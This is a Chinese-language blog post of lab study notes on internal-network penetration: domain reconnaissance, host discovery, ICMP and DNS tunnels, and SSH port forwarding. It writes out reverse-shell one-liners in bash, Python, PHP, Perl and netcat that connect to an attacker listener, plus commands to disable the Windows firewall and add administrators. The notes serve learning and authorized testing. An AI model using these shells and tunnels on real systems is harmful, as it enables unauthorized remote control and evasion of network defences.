0%

内网渗透学习笔记

信息收集

网络信息


ipconfig /all查询网络配置

用户信息

net user 查询用户列表

net user XXX /domain 查询指定用户的详细信息

net localgroup administrators 查看当前用户权限

net localgroup administrators 用户名 /add 添加用户到管理组 `

quser / quser UserName / qwinsta查看当前在线用户

进程信息

tasklist /v 查询进程列表

wmic process list brief 查询进程列表

本机信息收集

systeminfo

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 获取操作系统和版本信息

wmic product get name.version 查看本机安装的软件和版本信息

powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version" 查看本机安装的软件和版本信息

netstat -ano 查看端口列表

systeminfo查询补丁信息

wmic qfe get description,installedOn /format:csv 查看补丁信息

net share 查询本机共享

防火墙

netsh advfirewall show allprofiles 查看防火墙状态

netsh firewall show logging 防火墙日志目录

netsh advfirewall set allprofiles state off 关闭防火墙(winServer 2003以后)


域内信息收集

判断是否有域

ipconfig /all查看信息

net time /domain 判断是否存在

存在 返回域信息和时间

存在但权限不足 发生系统错误 拒绝访问

不存在 找不到域Workgroup的域控制器


域内存活主机探测

基于ICMP
  • windows
1
2
3
4
5
6
7
8
9
for /l %i in (1,1,254) do @ping 192.168.56.%i -w 1 -n 1 | find /i "ttl="

解释:
%i in (1,1,254) 遍历主机位从1 ~254的所有IP
-n ping的次数
-w 等待每次回复的时长(毫秒)
192.168.0.%i 遍历IP 自192.168.0.1~192.168.0.254的所有IP
| bat 管道,将前面的结果通过管道输入给后面的命令

  • Linux
1
2
for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

  • nmap扫描

nmap ‐sP ‐PI 192.168.0.1/24 ‐T4


基于arp
  • arp-scan 下载地址: https://github.com/QbsuranAlang/arp-scan-windows-

用法 arp-scan.exe -t 192.168.56.0/24

  • arp

arp -a

  • nmap扫描

nmap -sn -PR 192.168.0.1/24

  • msf扫描

use auxiliary/scanner/discovery/arp_sweep


基于udp
  • scanline

scanline.exe 192.168.56.101


基于NetBIOS
  • nbtscan

nbtscan -r 192.168.0.0/24

  • msf扫描

use auxiliary/scanner/netbios/nbname

  • nmap扫描

nmap -sU --script nbstat.nse -p137 192.168.0.1/24 -T4


扫描域内端口

利用telnet 命令进行扫描
1
telnet 目标ip地址 端口号
利用msf扫描主机端口

use auxiliary/scanner/portscan/tcp

show options

set ports 1-1024

set RHOSTS 192.168.56.101

set THREADS 10

run

域内基础信息收集

net view /domain 查看域

net view /domain:域名 查看域的电脑

net group /domain 查看域内用户组的列表

net group "domain computers" /domain 查询域成员的列表

net account /domain

查找域内用户和管理员

net user /domain

内网定位管理员工具

参考 https://www.secpulse.com/archives/32859.html

https://pingmaoer.github.io/2020/03/31/%E5%86%85%E7%BD%91%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%BA%8C/

  • Empire user_hunter模块

  • psloggedon.exe

PsLoggedon.exe

  • PVEFindADUser.exe

PVEFindADUser.exe --current 枚举出域用户以及登陆过特定系统的用户(需要管理员权限)

  • Netsess.exe

查询所有域控制器,获取所有的活跃域

下载地址:http://www.joeware.net/freetools/tools/netsess/index.htm

用法 Netsess.exe -h


Powershell

版本

2.0 win2008,win7

3.0 win2018,win8

4.0 win2012R2,win8.1

5.0 win2016,win10

存在4中权限

Restricted 不允许执行任何脚本

Allsigned 只允许执行经过证书验证的脚本

Unrestricted 允许执行任何脚本

RemoteSigned 本地脚本不限制,对外部脚本需要经过证书验证

Get-ExecutionPolicy 查看PS权限

Set-ExecutionPolicy +权限

一般会用cmd 命令行 使用-exec bypass进行powershell绕过

PowerView脚本

脚本地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Import-Module为powershell导入脚本命令,这里假设我们下载的powerview.ps1脚本在C:.ps1

格式:

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令参数}"

powershell.exe -exec bypass -Command "& {Import-Module C:.ps1; Get-NetUser}"

PowerView命令参数

Get-NetDomain: 获取当前用户所在域的名称 Get-NetUser: 获取所有用户的详细信息 Get-NetDomainController: 获取所有域控制器的信息 Get-NetComputer: 获取域内所有机器的详细信息 Get-NetOU: 获取域中的OU信息 Get-NetGroup: 获取所有域内组和组成员信息 Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息 Get-NetShare: 获取当前域内所有网络共享信息 Get-NetSession: 获取指定服务器的会话 Get-NetRDPSession: 获取指定服务器的远程连接 Get-NetProcess: 获取远程主机的进程 Get-UserEvent: 获取指定用户的日志 Get-ADObiect: 获取活动目录的对象 Get-NetGPO: 获取域内所有的组策略对象 Get-DomainPolicy: 获取域默认策略或域控制器策略 Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限 Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户 Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。


BloodHound

BloodHound需要使用neo4j数据库,配备java环境

下载地址 https://github.com/BloodHoundAD/BloodHound

URL:neo4j://localhost:7687 用户名(默认):neo4j 密码(默认):neo4j

使用【待补充 】·


隐藏通信隧道技术

隧道: 绕过防火墙屏蔽的一种方式


网络层隧道:

  • IPv6
  • ICMP

传输层

  • TCP
  • UDP

应用层

  • SSH
  • HTTP
  • DNS


内网连通性判断

  • ICMP协议

    ping ip

  • TCP协议

    nc -zc ip port

  • HTTP协议

    curl ip:port

  • DNS协议

    nslookup www.baidu.com

    dig @8.8.8.8 www.baidu.com



网络层隧道

  • Ipv6隧道
  • ICMP隧道


ICMP隧道

ICMP隧道工具:icmpsh,Pingtunnel

icmpsh (仅适用于windows,执行icmpsh.exe不需要管理员权限)

Pingtunnel


icmpsh反弹shell

参考:https://www.gdcert.com.cn/index/news_detail/WFJRQF0uABYBFgYEBwQ

安装 git clone https://github.com/inquisb/icmpsh.git

安装依赖库sudo pip2 install impacket

环境

kali 192.168.0.128 win7 192.168.0.129

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 关闭本地系统的icmp应答,恢复改为0即可

将 icmpsh.exe传到win7中,这里开启个http服务去下载python3 -m http.server 9999

win7访问192.168.0.128:9999 去下载 icmpsh.exe

icmpsh.exe参数

-t host :指定攻击者IP -r :用于测试连接 -d milliseconds :设置请求之间的延迟(毫秒) -o milliseconds :设置响应超时时间(毫秒),超时一次则计数器+1 -b num :设置多少次退出 -s bytes :最大数据缓冲区大小(字节)

kali:sudo python2 icmpsh_m.py 192.168.0.128[kali] 192.168.0.129[win7]

win7 icmpsh.exe -t 192.168.0.128

成功反弹shell

sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0恢复原设置


PingTunnel使用

【待补充】


传输层隧道

lcx端口转发

【待补充】

netcat

下载地址(解压密码为nc):

https://joncraton.org/files/nc111nt.zip

https://joncraton.org/files/nc111nt_safe.zip


获取banner信息

nc -nv 192.168.0.130 22

端口扫描

nc -zv 192.168.56.101 1080

远程连接主机

nc -nvv 192.168.0.129 80

监听端口

nc -lp 9999 监听本地9999端口,访问该端口是会输出信息

文件传输

Ubuntu: nc -lp 6666 > test.txt 开启监听

kali:echo 'test' > test.txt

nc -vn 192.168.0.130 6666 < test.txt -q 1

简易聊天

Ubuntu: nc -l -p 8888

kali:nc -vn 192.168.0.130 8888

nc获取shell

参考 https://www.freebuf.com/sectool/243115.html

https://www.jianshu.com/p/91dd4ab317c7


正向shell 目标机进行监听 反向shell 攻击机进行监听

正向shell

客户端连接服务器,客户端获取服务端的shell (kali【攻击机】连接,目标机监听)

目标机: nc -lvp 8888 -e /bin/sh

攻击机:nc 192.168.0.128 8888


这里我使用Ubuntu作为目标机器是 使用-e 参数会报错,使用版本不同,这里ubuntu默认版本的nc为netcat-openbsd ,没有-e参数 而netcat-traditional版本[v1.10-41.1] 的存在-e选项,kali也是默认该版本的nc

1
2
3
4
5
#给Ubuntu替换一个nc版本 参考https://www.jianshu.com/p/91dd4ab317c7
sudo apt-get -y install netcat-traditional

sudo update-alternatives --config nc

成功切换ubuntu的nc版本


依旧使用kali作为攻击机,ubuntu作为目标机

ubuntu: nc -lvp 8888 -e /bin/sh

kali: nc 192.168.0.130 8888

反向shell

客户端连接服务器,服务器获取客户端的shell(kali【攻击机】监听,目标机连接)

攻击机:nc -lvp 8888

目标机 :nc 192.168.0.130 8888 -e /bin/sh

如果是windows nc -lvp lport -e c:\windows\system32\cmd.exe

python反向shell

注意:这里使用的python2进行反弹shell

攻击机:nc -lvp 8888

目标机:python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反向shell

攻击机:nc -lvp 8888

目标机:bash -i >& /dev/tcp/192.168.0.128/8888 0>&1

php反向shell

攻击机:nc -lvp 8888

目标机:php -r '$sock=fsockopen("192.168.0.128",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

由于ubuntu没装php环境就不截图演示了

perl反向shell

攻击机:nc -lvp 8888

目标机:perl -e 'use Socket;$i="192.168.0.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理弹shell

kali执行:nc -lvp 3333 数据库执行:nc -lvp 3333 -e /bin/sh web服务器执行:nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

原理:web服务器当作中间机,连接kali和数据库的3333端口,使kali与数据库通信

exec反弹shell

攻击机:nc -lvp 8888

目标机:0<&196;exec 196<>/dev/tcp/192.168.0.128/8888; sh <&196 >&196 2>&196

可以利用python2 变为交互式的shell python2 -c "import pty;pty.spawn('/bin/bash')"

python -c "import pty;pty.spawn('/bin/bash')"


powercat使用

powercat可以理解成powershell版的natcat,

下载地址: https://github.com/besimorhino/powercat

下载下来的powercat.ps1文件 进行导入Import-Module .\powercat.ps1

如果权限不足 以管理员身份打开powershellSet-ExecutionPolicy Unrestricted输入Y

Get-ExecutionPolicy查看当前ps权限

powercat -h测试是否导入成功

在win10中更改poweshell权限 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe以管理员权限运行,在本机进行尝试时,每次导入模块后系统都会将powercat.ps1删除掉...

#powercat 命令参数

-l 监听模式

-p 指定监听端口

-e 指定启动进程的名称

-v 显示详情

-c 指定想要连接的 IP 地址

-ep 返回 powershell -dns 使用 dns 通信

-g 生成 payload -ge 生成经过编码的 payload,可以直接使用 powershell

-e 执行该 payload

通过nc正向连接powercat

win7:powercat -l -p 8888 -e cmd.exe -v

kali:nc 192.168.0.129 8888

通过nc反向连接powercat

kali:nc -l -p 8888 -v

win7:powercat -c 192.168.0.128 -p 8888 -v -e cmd.exe

返回powershell

win7:powercat -l -v -p 8888

win2008:powercat -c 192.168.0.129 -p 8888 -v -ep

powercat 生成paylaod

win7: Powercat -l -p 8888 -e cmd -v -g >>shell.ps1 将shell.ps1传到win2008并执行

win7:powercat -c 192.168.0.132 -p 8888 -v

这里试了好几次都没成功.......

不想生成文件的话们可以使用 -ge 生成编码后的payload

win7:powercat -c 192.168.0.129 -p 8888 -ep -ge

创建dns隧道连接

在kali上安装discat

git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install

同时安装ruby环境

开启服务端 ruby dnscat2.rb powercat -e open --no-cache

在win7目标机执行以下命令 建立dns隧道

powercat -c 192.168.0.128 -p 53 -dns powercat -e cmd.exe 这里ip为kali ip

在win7执行完命令后会获得一个session

session -i 1

但是使用该隧道在执行命令时会有些卡,不建议使用

powercat作为跳板进行转发

kali:192.168.0.128

win7:192.168.0.129

win2008:192.168.0.132

win7做跳板,让kali通过win7连接win2008

win2008 powercat -l -v -p 4444 -e cmd.exe

win7 powercat -l -v -p 5555 -r tcp:192.168.0.132:4444

kali nc 192.168.0.129 5555 -vv


SSH隧道

SSH功能:

1.加密SSH Client 端值 SSH Server 端之间的通讯数据

2.突破防护墙的限制完成一些无法建立的TCP连接

常规操作

ssh root@192.168.0.129 -P 22

本质为端口转发

环境配置 win7 192.168.0.129(NAT) 10.10.0.130(仅主机) kali 192.168.0.128(NAT) ubuntu 192.168.0.130(NAT) win2008 10.10.0.131(仅主机)

密码登录于中间人攻击

1..远程主机收到用户登录请求,吧自己的公钥发给用户

2.用户使用该公钥,将密码加密后,发给远程主机

3.远程主机用自己的私钥,解密登录密码,如果密码正确,用户就能登录

服务器 ==========> 用户 =====================> 服务器

------------发送公钥-----------利用公钥加密私钥并发送----密码验证(Y/N)


SSH隧道原理

  • 本地端口转发

client/kali --------------- 跳转机 ubnutu ----------------server/win2008

192.168.0.128-----------jump/192.168.0.129------------10.10.0.135

--------------------------------10.10.0.137---------------------

ssh -L 本地端口:目标主机:目标端口 jump主机host

ssh -L 2121:10.10.0.2:21 root@192.168.0.129

建立SSH隧道常用参数 -C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口

  • 远程端口转发

client/ kali-----------------jump/ubuntu-------------------server/win2008

192.168.0.128--------------10.10.0.129 ---------------------10.10.0.135

------------------------------没有外网ip------------------------------------

----------------------------但是可以连接外网------------------------------

跳转机为纯内网环境,但是可以访问外网

也就是说,跳转机可以访问kali,kali无法访问跳转机,在跳转机上建立一个与kali的连接,然后再kali上使用这个连接 然后将所有数据通过跳转机转发给目标主机的目标端口 (在这里远程主机为kali)

ssh -R 远程主机端口:目标主机:目标主机端口 跳转机

ssh -R 2121:10.10.0.135:21 10.10.0.129

建立SSH隧道常用参数 -C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口

  • 动态转发

建立一个 socks 连接,任何支持 socks 4/5 协议的程序都可以使用这个加密通道进行访问

可以参考梯 子

ssh -D 8080 user@host

外网去访问内网中的二级服务器

外网 --------------- 一级服务器 --------防火墙 -------- 二级服务器 --------外网 | 内网 --------- 二级服务器只能通过一级服务器访问

在一级服务器上通过本地端口转发,把二级服务器上的流量导到一级服务器上。这样就可以通过一级服务器去访问二级服务器。 所以 二级服务器中的服务器可以通过远程端口转发的方法直接映射到外网的主机,将二级内网的流量直接导入到外网主机的端口,从而实现从外网去访问二级主机


SSH隧道利用

本地端口转发
环境

kali 192.168.0.128(NAT) winserver2008 10.10.0.139(VM18 仅主机) Ubuntu 192.168.0.130(NAT)10.10.0.137(VM18 仅主机)


开启 winServer2008 远程连接 https://www.cnblogs.com/Tanghongchang/p/7445786.html

kali执行以下命令,将内网主机的3389端口映射到自己的3389端口

ssh -CfNg -L 攻击主机端口:内网办公主机IP:内网办公主机端口 Web服务器ssh用户名@Web服务器IP

ssh -CfNg -L 3333:10.10.0.139:3389 mamor@192.168.0.130

通过服务器 192.168.0.139作为跳板 将内网主机winServer2008 的3389端口转发到kali的3388端口,然后访问kali的3333端口即可访问到WinServer2008的3389端口了

使用netstat 进行判断是否建立代理转发

netstat -pantu | grep "3333"

(连接被重设:我先在winServer2008中打开了远程服务 然后用Vm18网段的机器测试完 之后发现winServer2008的ip变了,然后一直在找原因 为什么连不同了...然后改下ssh命令的winserver ip就好了)

然后输入账号密码 即可登录到10.10.0.139 winServer2008服务器中

远程端口转发

环境

kali 192.168.0.128(NAT模式)

Ubuntu 10.10.0.137(VM18 仅主机)

winServer2008 10.10.0.139 (VM18仅主机)0

删除Ubuntu的nat 网卡,现在仅有VM18一块网卡(10.10.0.0/24网段的)

但是在设置网络的时候没找到相关的文字,没成功连上外网,之后有时间整个vps复现

ssh -R 远程主机端口:目标主机:目标主机端口 跳转机

使用 -R 创建一个远程转发模式的隧道

ssh -CfNg -R 3333:10.10.0.139:3389 mamor@192.168.0.130

使用netstat判断代理转发是否成功建立

netstat -ano | grep "3333"

rdesktop 127.0.0.1:3333


动态转发
环境

kali 192.168.0.128(NAT)

Ubuntu 192.168.0.130(NAT) 10.10.0.137(VM18 仅主机)

WinServer2008 10.10.0.139(VM18 仅主机)


ssh -CfNg -D 攻击主机端口 Web服务器ssh用户名@Web服务器IP

ssh -CfNg -D 8888 mamor@192.168.0.130

然后使用proxychains4 代理

sudo vim /etc/proxychains4.conf

添加socks5 127.0.0.1 8888

然后使用proxychains4 firefox 10.10.0.139成功访问到内网WinServer2008 的web页面

但是 使用firefox的代理插件SwitchyOmega 无法访问内网的web页面

使用proxychains4 访问WinServer2008的3389端口

proxychains4 rdesktop 10.10.0.139:3389

成功访问3389端口



Reference

https://websec.readthedocs.io/zh/latest/intranet/index.html

https://c.wgpsec.org/p/10053

https://www.icode9.com/content-3-780098.html

https://yoga7xm.top/2019/03/27/IPentest-discover/

https://www.cnblogs.com/-chenxs/p/12378110.html

https://soapffz.com/sec/21.html

https://www.freebuf.com/sectool/243115.html

https://teamssix.com/year/210601-155103.html

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------